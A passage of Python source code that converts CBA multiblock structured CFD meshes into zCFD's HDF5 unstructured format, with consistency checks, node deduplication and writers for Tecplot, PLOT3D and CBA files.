cell_ID\n\n self.cellFace[(cell_ID * 6) + f] = face_ID\n\n # assign halo cells - full face index\n\n nhalo = 0\n\n for f in range(self.n_face):\n if self.faceCell[f, 1] < 0:\n self.faceCell[f, 1] = self.n_cell + nhalo\n nhalo = nhalo + 1\n if self.V:\n print('Halo cells assigned: {}'.format(nhalo))\n\n # assign boundary conditions - block-face index\n\n nhalo_face = 0\n point_offset = 0\n\n for b in range(self.n_blocks):\n for f in self.block[b].face_BC:\n self.faceBC[f] = self.block[b].face_BC[f]\n self.faceInfo[f, 0] = self.block[b].face_info[f]\n if self.block[b].face_BC[f] != 0:\n nhalo_face = nhalo_face + 1\n for p in range(4):\n self.faceNodes[f * 4 +\n p] = int(self.block[b].face_nodes[f][p] + point_offset)\n point_offset = point_offset + self.block[b].npts\n if self.V:\n print('Halo faces expected: {}'.format(nhalo_face))\n\n # create nodeVertex dataset - block index\n for b in range(self.n_blocks):\n if b == 0:\n self.nodeVertex = self.block[b].X\n else:\n self.nodeVertex = np.concatenate(\n (self.nodeVertex, self.block[b].X))\n\n if sort_nodes:\n self.remove_common_nodes(V)\n\n # Run Checks\n if Checks:\n self.check_unassigned_cellFace(V)\n self.check_unassigned_faces(V)\n self.check_unassigned_faceBC(V)\n self.check_unassigned_faceNodes(V)\n\n def get_face_allignment(self):\n # Check the allignement of primary and secondary indexing axis for common faces\n problem_axis = 0\n for f in range(self.n_commonface):\n if self.V:\n print('MB face number: {}'.format(f))\n block1 = self.common_faces[f]['block1']\n face1 = self.common_faces[f]['face1']\n block2 = self.common_faces[f]['block2']\n face2 = self.common_faces[f]['face2']\n\n if self.V:\n print('block1: {} \\tface1: {} \\tblock2: {} \\tface2: {}'.format(\n block1, face1, block2, face2))\n\n face1_corners = self.block[block1].get_face_corners(face1)\n face2_corners = self.block[block2].get_face_corners(face2)\n\n # Axis for driving faces - A is primary B is secondary\n\n ax1 = face1_corners[0, :] - face1_corners[1, :]\n bx1 = face1_corners[0, :] - face1_corners[3, :]\n\n # Axis for driven faces - A is primary B is secondary\n ax2 = face2_corners[0, :] - face2_corners[1, :]\n bx2 = face2_corners[0, :] - face2_corners[3, :]\n cx2 = face2_corners[3, :] - face2_corners[2, :]\n dx2 = face2_corners[1, :] - face2_corners[2, :]\n\n face1_axes = {'ax1': ax1, 'bx1': bx1}\n face2_axes = {'ax2': ax2, 'bx2': bx2, 'cx2': cx2, 'dx2': dx2}\n\n if self.V:\n print(face1_axes)\n\n axis_colinear = 0\n axis_reversed = 0\n\n for i in face1_axes:\n for j in face2_axes:\n cross = np.cross(face1_axes[i], face2_axes[j])\n dot = np.dot(face1_axes[i], face2_axes[j])\n\n if np.linalg.norm(cross) < 0.00001:\n axis_colinear = axis_colinear + 1\n self.common_faces[f][i] = {}\n self.common_faces[f][i]['aligned'] = j\n if dot > 0:\n msg = 'alligned'\n self.common_faces[f][i]['reversed'] = False\n elif dot < 0:\n msg = 'reversed'\n self.common_faces[f][i]['reversed'] = True\n if self.V:\n print(\n 'Colinear: {}, {} \\t direction: {}'.format(i, j, msg))\n\n if axis_colinear != 2:\n problem_axis = problem_axis + 1\n\n if problem_axis != 0:\n if self.V:\n print('Check axis orientations')\n print(problem_axis)\n\n def check_unassigned_faces(self):\n # Check if any faces assigned for blocks have not been assigned\n if self.V:\n print('Checking for unassigned faces...')\n unassigned_faces = 0\n for b in range(self.n_blocks):\n for i in range(self.block[b].npts_i - 1):\n for j in range(self.block[b].npts_j - 1):\n for k in range(self.block[b].npts_k - 1):\n for f in range(6):\n if self.block[b].cell_face[i][j][k][f] == 'hold':\n unassigned_faces = unassigned_faces + 1\n if self.V:\n print('{} faces unassigned'.format(unassigned_faces))\n\n def check_unassigned_faceNodes(self):\n # Check if any faceNodes have not been assigned\n if self.V:\n print('Checking for unassigned faceNodes...')\n unassigned_faceNodes = 0\n for f in self.faceNodes:\n if f < 0:\n unassigned_faceNodes = unassigned_faceNodes + 1\n if self.V:\n print('{} faceNodes unassigned'.format(unassigned_faceNodes))\n\n def check_unassigned_faceBC(self):\n # Check if any faceBC entries are unassigned\n if self.V:\n print('Checking for unassigned faceBC...')\n unassigned_faceBC = 0\n for f in self.faceBC:\n if f < 0:\n unassigned_faceBC = unassigned_faceBC + 1\n if self.V:\n print('{} faceBC unassigned'.format(unassigned_faceBC))\n\n def check_unassigned_cellFace(self):\n # Check if any cellFace entries are unassigned\n if self.V:\n print('Checking for unassigned cellFaces')\n unassigned_cellFace = 0\n for f in self.cellFace:\n if f < 0:\n unassigned_cellFace = unassigned_cellFace + 1\n if self.V:\n print('{} cellFaces unassigned'.format(unassigned_cellFace))\n\n def check_cell_references(self):\n # Check how many times each cell is referenced in faces- should be 6 for each cell\n if self.V:\n print('Checking cell references')\n cell_references = np.zeros(self.n_cell, dtype=int)\n for f in range(self.n_face):\n cell_references[self.faceCell[f, 0]\n ] = cell_references[self.faceCell[f, 0]] + 1\n if self.faceCell[f, 1] < self.n_cell:\n cell_references[self.faceCell[f, 1]\n ] = cell_references[self.faceCell[f, 1]] + 1\n\n def remove_common_nodes(self):\n # Nodes on block boundaries will be defined twice, remove the second existence of them, and change indexing\n if self.V:\n print('Removing common nodes')\n\n node_references = np.zeros_like(self.nodeVertex[:, 0])\n presort_nodes = len(self.nodeVertex[:, 0])\n\n for fn in self.faceNodes:\n node_references[fn] = node_references[fn] + 1\n\n unique, counts = np.unique(node_references, return_counts=True)\n\n if self.V:\n print('Number of node references (pre-sort)')\n print(dict(zip(unique, counts)))\n\n unique, indices = np.unique(\n self.nodeVertex, axis=0, return_inverse=True)\n\n faceNodes_sorted = np.zeros_like(self.faceNodes)\n\n for fn in range(len(self.faceNodes)):\n faceNodes_sorted[fn] = indices[self.faceNodes[fn]]\n\n self.faceNodes = faceNodes_sorted\n self.nodeVertex = unique\n postsort_nodes = len(self.nodeVertex[:, 0])\n\n node_references = np.zeros_like(self.nodeVertex[:, 0])\n\n for fn in self.faceNodes:\n node_references[fn] = node_references[fn] + 1\n\n unique, counts = np.unique(node_references, return_counts=True)\n if self.V:\n print('Number of node references (post-sort)')\n print(dict(zip(unique, counts)))\n\n print('{} Common nodes removed'.format(\n presort_nodes - postsort_nodes))\n\n def check_tag_assignements(self):\n # Check how many face tags are assigned for each relevent datasets\n print('n_faces: {}'.format(self.n_face))\n print('faceBC tags:')\n faceBC_tags, faceBC_count = np.unique(self.faceBC, return_counts=True)\n print(dict(zip(faceBC_tags, faceBC_count)))\n\n print('faceInfo tags:')\n faceInfo_tags, faceInfo_count = np.unique(\n self.faceInfo[:, 0], return_counts=True)\n print(dict(zip(faceInfo_tags, faceInfo_count)))\n\n print('faceType tags:')\n faceType_tags, faceType_count = np.unique(\n self.faceType, return_counts=True)\n print(dict(zip(faceType_tags, faceType_count)))\n\n def write_zCFD_tec(self, fname='NONE'):\n # Process fname\n if fname == 'NONE':\n fname = self.fname + '.h5.plt'\n # Write ZCFD mesh to tecplot FEPOLYHEDRON FORMAT\n if self.V:\n print('Writing tecplot mesh file: {}'.format(fname))\n n_v = np.size(self.nodeVertex[:, 0])\n n_c = self.n_cell\n n_f = self.n_face\n n_fnodes = np.size(self.faceNodes)\n\n fout = open(fname, \"w\")\n if self.V:\n print('Writing Header Information')\n fout.write(\"VARIABLES= \\\"X\\\" \\\"Y\\\" \\\"Z\\\"\\n\")\n fout.write(\"ZONE \\n\")\n # Number of Nodes\n fout.write(\"NODES = {} \\n\".format(n_v))\n # Number of faces\n fout.write(\"FACES = {} \\n\".format(n_f))\n fout.write(\"TOTALNUMFACENODES = {} \\n\".format(\n n_fnodes)) # Number of nodes in faces\n # Number of connected boundary faces (0)\n fout.write(\"NUMCONNECTEDBOUNDARYFACES = 0 \\n\")\n # Number of connected zones (0)\n fout.write(\"TOTALNUMBOUNDARYCONNECTIONS = 0 \\n\")\n # Number of cells\n fout.write(\"ELEMENTS = {} \\n\".format(n_c))\n # Data formatting- must be block for FEPOLYHEDRON\n fout.write(\"DATAPACKING = BLOCK \\n\")\n # Mesh type- FE polyhedron for zCFD\n fout.write(\"ZONETYPE = FEPOLYHEDRON \\n\")\n\n if self.V:\n print('Writing Node Vertex Points')\n fout.write('# i Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 0]))\n fout.write('# j Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 1]))\n fout.write('# k Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 2]))\n\n if self.V:\n print('Writing Face Info')\n fout.write('# Number of points per face \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(self.faceType[i]))\n\n if self.V:\n print('Writing Face Nodes')\n fout.write('# Nodes making up each face \\n')\n for i in range(n_f):\n n_points = int(self.faceType[i])\n for j in range(n_points):\n index = i * n_points + j\n fout.write(\"{} \".format(self.faceNodes[index] + 1))\n fout.write(\"\\n\")\n\n if self.V:\n print('Writing Face Cell Interfaces')\n fout.write('# Left Cells \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(int(self.faceCell[i, 0] + 1)))\n fout.write('# Right Cells \\n')\n for i in range(n_f):\n if self.faceCell[i, 1] < n_c:\n fout.write(\"{} \\n\".format(int(self.faceCell[i, 1] + 1)))\n elif self.faceCell[i, 1] >= n_c:\n fout.write(\"0 \\n\")\n\n if self.V:\n print('tecplot file written successfully')\n return\n\n def write_h5(self, fname='NONE'):\n # Process fname\n if fname == 'NONE':\n fname = self.fname + '.h5'\n\n # Create .h5 file\n f = h5py.File(fname, \"w\")\n h5mesh = f.create_group(\"mesh\")\n\n # Assign attributes\n h5mesh.attrs.create(\"numFaces\", self.n_face, shape=(1, 1))\n h5mesh.attrs.create(\"numCells\", self.n_cell, shape=(1, 1,))\n\n # Assign datasets\n h5mesh.create_dataset(\"cellFace\", data=self.cellFace)\n h5mesh.create_dataset(\"faceBC\", data=self.faceBC,\n shape=(self.n_face, 1))\n h5mesh.create_dataset(\"faceCell\", data=self.faceCell)\n h5mesh.create_dataset(\"faceInfo\", data=self.faceInfo)\n h5mesh.create_dataset(\n \"faceNodes\", data=self.faceNodes, shape=(self.n_face * 4, 1))\n h5mesh.create_dataset(\"faceType\", data=self.faceType)\n h5mesh.create_dataset(\"nodeVertex\", data=self.nodeVertex)\n return\n\n def write_multiblock_tec(self, fname):\n # Convert CBA mesh to tecplot visualisation format\n if self.V:\n print('Generating Structured tecplot file')\n fout = open(fname, \"w\")\n fout.write('VARIABLES = \"X\" \"Y\" \"Z\" \\n')\n for i in self.block:\n fout.write('ZONE I= {} J= {} K= {} F=POINT \\n'.format(\n self.block[i].npts_i, self.block[i].npts_j, self.block[i].npts_k))\n for j in range(self.block[i].npts):\n fout.write('{:.15f} \\t {:.15f} \\t {:.15f} \\n'.format(\n self.block[i].X[j, 0], self.block[i].X[j, 1], self.block[i].X[j, 2]))\n return\n\n def writeCBA(self, fname):\n # Write saved mesh back to CBA format\n if self.V:\n print('Generating blk mesh file')\n fout = open(fname, \"w\")\n fout.write('{} \\t {} \\t {}\\n'.format(self.n_blocks, 1, 2.5))\n for i in self.block:\n fout.write('{} \\t {} \\t {}\\n'.format(\n self.block[i].npts_i, self.block[i].npts_j, self.block[i].npts_k))\n for j in range(self.block[i].npts):\n fout.write('{:.15f} \\t {:.15f} \\t {:.15f} \\n'.format(\n self.block[i].X[j, 0], self.block[i].X[j, 1], self.block[i].X[j, 2]))\n for j in range(6):\n fout.write('{} \\t {} \\t {} \\n'.format(int(self.block[i].connectivity[j]['type']), int(\n self.block[i].connectivity[j]['neighbour']), int(self.block[i].connectivity[j]['orientation'])))\n return\n\n def write_p3d(self, fname):\n # Use PLOT3D format to import CBA meshes into pointwise\n f = open(fname, \"w\")\n\n f.write('{}\\n'.format(self.n_blocks))\n for b in range(self.n_blocks):\n f.write('{} \\t {} \\t {}\\n'.format(\n self.block[b].npts_i, self.block[b].npts_j, self.block[b].npts_k))\n\n for b in range(self.n_blocks):\n for i in range(self.block[b].npts):\n f.write('{}\\n'.format(self.block[b].X[i, 0]))\n for i in range(self.block[b].npts):\n f.write('{}\\n'.format(self.block[b].X[i, 1]))\n for i in range(self.block[b].npts):\n f.write('{}\\n'.format(self.block[b].X[i, 2]))\n f.close()\n return\n\n\nclass CBA_block():\n def __init__(self):\n # Define properties of CBA block\n\n # Integers\n\n self.n_cell = 0\n self.npts = 0\n self.npts_i = 0\n self.npts_j = 0\n self.npts_k = 0\n self.blockID = 0\n\n # Arrays\n self.X = []\n\n # Dictionaries\n self.connectivity = {}\n\n def order_points(self):\n # Re-structure points to 3D array\n self.pts = np.zeros([self.npts_i, self.npts_j, self.npts_k, 3])\n\n index = 0\n\n for k in range(self.npts_k):\n for j in range(self.npts_j):\n for i in range(self.npts_i):\n self.pts[i, j, k, 0] = self.X[index, 0]\n self.pts[i, j, k, 1] = self.X[index, 1]\n self.pts[i, j, k, 2] = self.X[index, 2]\n index = index + 1\n\n def get_corners(self):\n # Get corner points of block\n corners = np.zeros([8, 3])\n index = 0\n\n # imin,jmin,kmin\n # imax,jmin,kmin\n # imin,jmax,kmin\n # imax,jmax,kmin\n # imin,jmin,kmax\n # imax,jmin,kmax\n # imin,jmax,kmax\n # imax,jmax,kmax\n\n for k in range(2):\n for j in range(2):\n for i in range(2):\n corners[index, 0] = self.pts[i *\n (self.npts_i - 1), j * (self.npts_j - 1), k * (self.npts_k - 1), 0]\n corners[index, 1] = self.pts[i *\n (self.npts_i - 1), j * (self.npts_j - 1), k * (self.npts_k - 1), 1]\n corners[index, 2] = self.pts[i *\n (self.npts_i - 1), j * (self.npts_j - 1), k * (self.npts_k - 1), 2]\n\n index = index + 1\n\n return(corners)\n\n def get_face_corners(self, face):\n # extract corners from a specific face\n\n corners = self.get_corners()\n\n face_corners = np.zeros([4, 3])\n\n if face == 0: # i min\n f_V = [0, 2, 6, 4]\n elif face == 1: # i max\n f_V = [1, 3, 7, 5]\n elif face == 2: # j min\n f_V = [0, 1, 5, 4]\n elif face == 3: # j max\n f_V = [2, 3, 7, 6]\n elif face == 4: # k min\n f_V = [0, 1, 3, 2]\n elif face == 5: # k max\n f_V = [4, 5, 7, 6]\n\n for i in range(4):\n face_corners[i, :] = corners[f_V[i], :]\n\n return(face_corners)\n\n def get_n_faces(self):\n # Get the number of faces in block, taking into accound driven faces\n\n # Number of faces in plane (jk is i face)\n n_face_jk = (self.npts_j - 1) * (self.npts_k - 1)\n n_face_ik = (self.npts_i - 1) * (self.npts_k - 1)\n n_face_ij = (self.npts_i - 1) * (self.npts_j - 1)\n\n i_planes = self.npts_i\n j_planes = self.npts_j\n k_planes = self.npts_k\n\n for f in self.connectivity:\n if self.connectivity[f]['type'] == 2:\n if not self.connectivity[f]['driving']:\n if f == 0 or f == 1:\n i_planes = i_planes - 1\n elif f == 2 or f == 3:\n j_planes = j_planes - 1\n elif f == 4 or f == 5:\n k_planes = k_planes - 1\n\n self.n_face_i = n_face_jk * i_planes\n self.n_face_j = n_face_ik * j_planes\n self.n_face_k = n_face_ij * k_planes\n\n self.n_face = self.n_face_i + self.n_face_j + self.n_face_k\n\n self.nbound_face = (n_face_jk + n_face_ik + n_face_ij) * 2\n\n def assign_primary_faces(self, cell_offset, face_offset):\n # Assign all non-driven faces to the block\n self.cell_face = {} # Faces on each cell\n self.face_BC = {}\n self.face_nodes = {}\n self.face_info = {}\n\n cell_ID = 0\n face_ID = 0\n boundary_faces = 0\n iface_ID = 0\n\n # Logical array to dictate boundary state\n boundary_conditions = [0, self.npts_i - 2,\n 0, self.npts_j - 2, 0, self.npts_k - 2]\n # Logical array to dictate which internal faces should be assigned uniquely\n internal_conditions = [False, True, False, True, False, True]\n\n for i in range(self.npts_i - 1):\n self.cell_face[i] = {}\n for j in range(self.npts_j - 1):\n self.cell_face[i][j] = {}\n for k in range(self.npts_k - 1):\n # Number cells\n self.cell_face[i][j][k] = {}\n self.cell_face[i][j][k]['cell_ID'] = cell_ID + \\\n cell_offset # Assign next cellID\n\n # Number faces\n\n # identify if at boundary- then if unique face\n # Position of the cell within the block\n position = [i, i, j, j, k, k]\n # Indexed corners of each cell\n corners = [i, i + 1, j, j + 1, k, k + 1]\n\n for p in range(6):\n if position[p] == boundary_conditions[p]:\n # Face p is a boundary face\n boundary_faces = boundary_faces + 1\n # Face is internal boundary face\n if self.connectivity[p]['type'] == 2:\n # Face is driven internal boundary face\n if not self.connectivity[p]['driving']:\n self.cell_face[i][j][k][p] = 'hold'\n else:\n # Face is driving internal boundary face\n self.cell_face[i][j][k][p] = face_ID + \\\n face_offset\n self.face_BC[face_ID + face_offset] = 0\n self.face_info[face_ID + face_offset] = 0\n self.face_nodes[face_ID +\n face_offset] = self.get_faceNodes(i, j, k, p)\n\n face_ID = face_ID + 1\n\n else:\n # Face is boundary face\n self.cell_face[i][j][k][p] = face_ID + \\\n face_offset\n self.face_BC[face_ID +\n face_offset] = self.connectivity[p]['BC_translated']\n self.face_info[face_ID +\n face_offset] = self.connectivity[p]['FI_translated']\n self.face_nodes[face_ID +\n face_offset] = self.get_faceNodes(i, j, k, p)\n\n face_ID = face_ID + 1\n\n # Face is internal driving (max) face\n elif internal_conditions[p]:\n self.cell_face[i][j][k][p] = face_ID + face_offset\n self.face_BC[face_ID + face_offset] = 0\n self.face_info[face_ID + face_offset] = 0\n self.face_nodes[face_ID +\n face_offset] = self.get_faceNodes(i, j, k, p)\n\n face_ID = face_ID + 1\n\n # Face is internal driven (min) face\n elif p == 0:\n self.cell_face[i][j][k][0] = self.cell_face[i - 1][j][k][1]\n elif p == 2:\n self.cell_face[i][j][k][2] = self.cell_face[i][j - 1][k][3]\n elif p == 4:\n self.cell_face[i][j][k][4] = self.cell_face[i][j][k - 1][5]\n\n cell_ID = cell_ID + 1\n\n if face_ID != self.n_face:\n print('Mismatch in face numbers: {} assigned, {} expected'.format(\n face_ID, self.n_face))\n print('Difference of {}'.format(self.n_face - face_ID))\n if cell_ID != self.n_cell:\n print('Mismatch in cell numbers: {} assigned, {} expected'.format(\n cell_ID, self.n_cell))\n print('Difference of {}'.format(self.n_cell - cell_ID))\n\n return (cell_ID + cell_offset), (face_ID + face_offset)\n\n def get_boundface_ID(self, a, b, f):\n # Get the ID for a boundary face (f) with primary index a and secondary index b\n face_ID = 0\n\n if f == 0:\n face_ID = self.cell_face[0][a][b][0]\n elif f == 1:\n face_ID = self.cell_face[self.npts_i - 2][a][b][1]\n elif f == 2:\n face_ID = self.cell_face[a][0][b][2]\n elif f == 3:\n face_ID = self.cell_face[a][self.npts_j - 2][b][3]\n elif f == 4:\n face_ID = self.cell_face[a][b][0][4]\n elif f == 5:\n face_ID = self.cell_face[a][b][self.npts_k - 2][5]\n\n return face_ID\n\n def assign_boundface(self, a, b, f, face_ID):\n # Assign face_ID to boundary face f with primary index a and secondary index b\n\n # Check we're not pushing a face to a non-driven face\n if self.connectivity[f]['driving']:\n print('ERROR- PUSHING TO NON DRIVEN FACE')\n print('Pushing to block: {} face: {}'.format(self.blockID, f))\n if f == 0:\n self.cell_face[0][a][b][0] = face_ID\n elif f == 1:\n self.cell_face[self.npts_i - 2][a][b][1] = face_ID\n elif f == 2:\n self.cell_face[a][0][b][2] = face_ID\n elif f == 3:\n self.cell_face[a][self.npts_j - 2][b][3] = face_ID\n elif f == 4:\n self.cell_face[a][b][0][4] = face_ID\n elif f == 5:\n self.cell_face[a][b][self.npts_k - 2][5] = face_ID\n\n def resolve_cellNodes(self):\n cell_nodes = {}\n for i in range(self.npts_i - 1):\n for j in range(self.npts_j - 1):\n for k in range(self.npts_k - 1):\n for p in range(6):\n cell_nodes[p] = self.cell_face[i][j][k][p]['nodes']\n # print(cell_nodes)\n\n def translate_BC(self):\n # Translate boundary conditions\n\n # CBA format:\n # -2 = 2D wall (symmetry)\n # -1 = Aerodynamic surface\n # 0 = wall\n # 1 = Farfield\n # 2 = Internal face\n # 3 = Periodic Downstream\n # 4 = Periodic Upstream\n\n # zCFD format:\n # 0 = NONE\n # 2 = Interior\n # 3 = Wall\n # 4 = Inflow\n # 5 = Outflow\n # 7 = Symmetry\n # 9 = Farfield\n # 12 = Periodic\n # 13 = Accoustic wall source\n\n # Fluid zones\n # 0 = NONE\n # 2 = Farfield\n # 3 = Slip Wall\n # 4 = Aerodynamic surface\n # 5 = Periodic Downstream\n # 6 = Periodic Upstream\n\n BC_dict = {-2: 7, -1: 3, 0: 3, 1: 9, 2: 0, 3: 12, 4: 12}\n FI_dict = {-2: 7, -1: 4, 0: 3, 1: 2, 2: 0, 3: 5, 4: 6}\n for f in range(6):\n self.connectivity[f]['BC_translated'] = BC_dict[self.connectivity[f]['type']]\n self.connectivity[f]['FI_translated'] = FI_dict[self.connectivity[f]['type']]\n\n def get_faceNodes(self, i, j, k, p):\n # Get the node index for face p with index i,j,k\n if p == 0:\n nv1 = i + j * self.npts_i + k * self.npts_i * self.npts_j\n nv2 = i + j * self.npts_i + (k + 1) * self.npts_i * self.npts_j\n nv3 = i + (j + 1) * self.npts_i + (k + 1) * \\\n self.npts_i * self.npts_j\n nv4 = i + (j + 1) * self.npts_i + k * self.npts_i * self.npts_j\n elif p == 1:\n nv1 = (i + 1) + j * self.npts_i + k * self.npts_i * self.npts_j\n nv2 = (i + 1) + (j + 1) * self.npts_i + \\\n k * self.npts_i * self.npts_j\n nv3 = (i + 1) + (j + 1) * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n nv4 = (i + 1) + j * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n elif p == 2:\n nv1 = i + j * self.npts_i + k * self.npts_i * self.npts_j\n nv2 = (i + 1) + j * self.npts_i + k * self.npts_i * self.npts_j\n nv3 = (i + 1) + j * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n nv4 = i + j * self.npts_i + (k + 1) * self.npts_i * self.npts_j\n elif p == 3:\n nv1 = i + (j + 1) * self.npts_i + k * self.npts_i * self.npts_j\n nv2 = i + (j + 1) * self.npts_i + (k + 1) * \\\n self.npts_i * self.npts_j\n nv3 = (i + 1) + (j + 1) * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n nv4 = (i + 1) + (j + 1) * self.npts_i + \\\n k * self.npts_i * self.npts_j\n elif p == 4:\n nv1 = i + j * self.npts_i + k * self.npts_i * self.npts_j\n nv2 = i + (j + 1) * self.npts_i + k * self.npts_i * self.npts_j\n nv3 = (i + 1) + (j + 1) * self.npts_i + \\\n k * self.npts_i * self.npts_j\n nv4 = (i + 1) + j * self.npts_i + k * self.npts_i * self.npts_j\n elif p == 5:\n nv1 = i + j * self.npts_i + (k + 1) * self.npts_i * self.npts_j\n nv2 = (i + 1) + j * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n nv3 = (i + 1) + (j + 1) * self.npts_i + \\\n (k + 1) * self.npts_i * self.npts_j\n nv4 = i + (j + 1) * self.npts_i + (k + 1) * \\\n self.npts_i * self.npts_j\n\n # Return order important with negative volumes\n return [nv4, nv3, nv2, nv1]\n\n\nclass zCFD_mesh:\n # Class containing data in zCFD mesh format\n def __init__(self, fname='NONE'):\n # H5 Attributes\n self.numFaces = 0\n self.numCells = 0\n # H5 Datasets\n self.cellFace = np.array([])\n self.faceBC = np.array([])\n self.faceCell = np.array([])\n self.faceInfo = np.array([])\n self.faceNodes = np.array([])\n self.faceType = np.array([])\n self.nodeVertex = np.array([])\n\n # Logicals\n self.V = False\n\n if fname != 'NONE':\n self.load_zcfd(fname)\n\n def load_zcfd(self, fname, V=False):\n self.V = V\n # Load zCFD h5 unstructured mesh\n if self.V:\n print('Loading zCFD mesh: {}'.format(fname))\n f = h5py.File(fname, \"r\")\n g = f.get('mesh')\n\n # Get attributes\n self.numFaces = int(g.attrs.get('numFaces'))\n self.numCells = int(g.attrs.get('numCells'))\n\n # Get data sets\n self.cellZone = np.array(g.get('cellZone'))\n self.cellFace = np.array(g.get('cellFace'))\n self.cellType = np.array(g.get('cellType'))\n self.faceBC = np.array(g.get('faceBC'))\n self.faceCell = np.array(g.get('faceCell'))\n self.faceInfo = np.array(g.get('faceInfo'))\n self.faceNodes = np.array(g.get('faceNodes'))\n self.faceType = np.array(g.get('faceType'))\n self.nodeVertex = np.array(g.get('nodeVertex'))\n\n # create additional faceIndex dataset:\n self.faceIndex = np.zeros_like(self.faceType)\n for i in range(self.numFaces - 1):\n self.faceIndex[i + 1] = self.faceType[i + 1] + self.faceIndex[i]\n\n if self.V:\n print('zCFD mesh successfully loaded ')\n print('nCells= {} \\t nFaces= {}'.format(\n self.numCells, self.numFaces))\n\n return\n\n def writetec(self, fname):\n # Write ZCFD mesh to tecplot FEPOLYHEDRON FORMAT\n if self.V:\n print('Writing tecplot mesh file: {}'.format(fname))\n\n n_v = np.size(self.nodeVertex[:, 0])\n n_c = self.numCells\n n_f = self.numFaces\n n_fnodes = np.size(self.faceNodes)\n\n fout = open(fname, \"w\")\n\n # File header information\n if self.V:\n print('Writing Header Information')\n\n fout.write(\"VARIABLES= \\\"X\\\" \\\"Y\\\" \\\"Z\\\"\\n\")\n fout.write(\"ZONE \\n\")\n # Number of Nodes\n fout.write(\"NODES = {} \\n\".format(n_v))\n # Number of faces\n fout.write(\"FACES = {} \\n\".format(n_f))\n fout.write(\"TOTALNUMFACENODES = {} \\n\".format(\n n_fnodes)) # Number of nodes in faces\n # Number of connected boundary faces (0)\n fout.write(\"NUMCONNECTEDBOUNDARYFACES = 0 \\n\")\n # Number of connected zones (0)\n fout.write(\"TOTALNUMBOUNDARYCONNECTIONS = 0 \\n\")\n # Number of cells\n fout.write(\"ELEMENTS = {} \\n\".format(n_c))\n # Data formatting- must be block for FEPOLYHEDRON\n fout.write(\"DATAPACKING = BLOCK \\n\")\n # Mesh type- FE polyhedron for zCFD\n fout.write(\"ZONETYPE = FEPOLYHEDRON \\n\")\n\n # File body information\n if self.V:\n print('Writing Node Vertex Points')\n fout.write('# i Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 0]))\n fout.write('# j Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 1]))\n fout.write('# k Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 2]))\n\n if self.V:\n print('Writing Face Info')\n fout.write('# Number of points per face \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(self.faceType[i]))\n\n if self.V:\n print('Writing Face Nodes')\n fout.write('# Nodes making up each face \\n')\n index = 0\n for i in range(n_f):\n n_points = int(self.faceType[i])\n for j in range(n_points):\n fout.write(\"{} \".format(self.faceNodes[index, 0] + 1))\n index += 1\n fout.write(\"\\n\")\n\n if self.V:\n print('Writing Face Cell Interfaces')\n fout.write('# Left Cells \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(self.faceCell[i, 0] + 1))\n fout.write('# Right Cells \\n')\n for i in range(n_f):\n if self.faceCell[i, 1] < n_c:\n fout.write(\"{} \\n\".format(self.faceCell[i, 1] + 1))\n elif self.faceCell[i, 1] >= n_c:\n fout.write(\"0 \\n\")\n\n if self.V:\n print('tecplot file written successfully')\n\n def write_results_tec(self, fname, results):\n # Write ZCFD mesh to tecplot FEPOLYHEDRON FORMAT\n if self.V:\n print('Writing tecplot mesh file: {}'.format(fname))\n n_v = np.size(self.nodeVertex[:, 0])\n n_c = self.numCells\n n_f = self.numFaces\n n_fnodes = np.size(self.faceNodes)\n\n fout = open(fname, \"w\")\n\n # File header information\n if self.V:\n print('Writing Header Information')\n fout.write(\n \"VARIABLES= \\\"X\\\" \\\"Y\\\" \\\"Z\\\" \\\"P\\\" \\\"Vx\\\" \\\"Vy\\\" \\\"Vz\\\" \\\"Density\\\"\\n\")\n fout.write(\"ZONE \\n\")\n # Number of Nodes\n fout.write(\"NODES = {} \\n\".format(n_v))\n # Number of faces\n fout.write(\"FACES = {} \\n\".format(n_f))\n fout.write(\"TOTALNUMFACENODES = {} \\n\".format(\n n_fnodes)) # Number of nodes in faces\n # Number of connected boundary faces (0)\n fout.write(\"NUMCONNECTEDBOUNDARYFACES = 0 \\n\")\n # Number of connected zones (0)\n fout.write(\"TOTALNUMBOUNDARYCONNECTIONS = 0 \\n\")\n # Number of cells\n fout.write(\"ELEMENTS = {} \\n\".format(n_c))\n # Data formatting- must be block for FEPOLYHEDRON\n fout.write(\"DATAPACKING = BLOCK \\n\")\n # Mesh type- FE polyhedron for zCFD\n fout.write(\"ZONETYPE = FEPOLYHEDRON \\n\")\n # Where variables are stored- note current limitation that surface values not preserved\n fout.write(\"VARLOCATION=([4,5,6,7,8]=CELLCENTERED)\\n\")\n\n # File body information\n if self.V:\n print('Writing Node Vertex Points')\n fout.write('# i Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 0]))\n fout.write('# j Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 1]))\n fout.write('# k Vertex Locations \\n')\n for i in range(n_v):\n fout.write(\"{} \\n\".format(self.nodeVertex[i, 2]))\n\n for i in range(n_c):\n fout.write(\"{} \\n\".format(\n results.dset['solution'][results.dset['globalToLocalIndex'][i]][0]))\n for i in range(n_c):\n fout.write(\"{} \\n\".format(\n results.dset['solution'][results.dset['globalToLocalIndex'][i]][1]))\n for i in range(n_c):\n fout.write(\"{} \\n\".format(\n results.dset['solution'][results.dset['globalToLocalIndex'][i]][2]))\n for i in range(n_c):\n fout.write(\"{} \\n\".format(\n results.dset['solution'][results.dset['globalToLocalIndex'][i]][3]))\n for i in range(n_c):\n fout.write(\"{} \\n\".format(\n 